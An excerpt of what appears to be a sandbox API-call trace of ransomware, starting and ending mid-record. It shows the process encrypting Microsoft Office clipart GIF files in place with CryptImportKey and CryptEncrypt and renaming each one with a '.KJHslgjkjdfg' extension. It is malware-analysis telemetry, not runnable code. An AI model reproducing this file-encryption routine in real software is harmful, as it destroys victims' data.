lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.002] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.002] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.002] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.002] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.002] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.002] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ad, lpOverlapped=0x0) returned 1 [0219.002] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0) returned 1 [0219.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.002] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b0, lpOverlapped=0x0) returned 1 [0219.002] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.003] SetEndOfFile (hFile=0x130) returned 1 [0219.005] GetProcessHeap () returned 0x990000 [0219.005] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.005] GetProcessHeap () returned 0x990000 [0219.005] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.kjhslgjkjdfg")) returned 1 [0219.007] CloseHandle (hObject=0x130) returned 1 [0219.007] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0219.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.008] GetProcessHeap () returned 0x990000 [0219.008] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.008] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.009] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0219.010] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.010] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.010] GetProcessHeap () returned 0x990000 [0219.010] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.010] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.010] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.010] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.011] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.011] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.011] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.011] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.011] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.011] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.011] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x161, lpOverlapped=0x0) returned 1 [0219.011] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170, dwBufLen=0x170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170) returned 1 [0219.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.011] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x170, lpOverlapped=0x0) returned 1 [0219.012] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.012] SetEndOfFile (hFile=0x130) returned 1 [0219.014] GetProcessHeap () returned 0x990000 [0219.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.014] GetProcessHeap () returned 0x990000 [0219.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.kjhslgjkjdfg")) returned 1 [0219.018] CloseHandle (hObject=0x130) returned 1 [0219.018] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0219.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.019] GetProcessHeap () returned 0x990000 [0219.019] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.019] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0219.022] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.022] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.022] GetProcessHeap () returned 0x990000 [0219.022] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.022] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.022] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.022] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.023] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.023] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.023] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.023] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.023] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ef, lpOverlapped=0x0) returned 1 [0219.023] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f0) returned 1 [0219.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.023] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f0, lpOverlapped=0x0) returned 1 [0219.024] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.024] SetEndOfFile (hFile=0x130) returned 1 [0219.026] GetProcessHeap () returned 0x990000 [0219.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.026] GetProcessHeap () returned 0x990000 [0219.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.kjhslgjkjdfg")) returned 1 [0219.030] CloseHandle (hObject=0x130) returned 1 [0219.030] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0219.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.032] GetProcessHeap () returned 0x990000 [0219.032] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.032] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0219.034] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.034] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.034] GetProcessHeap () returned 0x990000 [0219.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.034] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.034] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.034] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.034] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.035] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.035] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.035] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.035] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.035] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x37e, lpOverlapped=0x0) returned 1 [0219.035] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x380, dwBufLen=0x380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x380) returned 1 [0219.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.035] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x380, lpOverlapped=0x0) returned 1 [0219.035] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.036] SetEndOfFile (hFile=0x130) returned 1 [0219.038] GetProcessHeap () returned 0x990000 [0219.038] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.038] GetProcessHeap () returned 0x990000 [0219.038] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.kjhslgjkjdfg")) returned 1 [0219.040] CloseHandle (hObject=0x130) returned 1 [0219.040] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0219.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.041] GetProcessHeap () returned 0x990000 [0219.041] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.041] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.043] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.043] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.043] GetProcessHeap () returned 0x990000 [0219.043] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.043] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.043] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.043] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.043] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.044] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.044] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.044] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 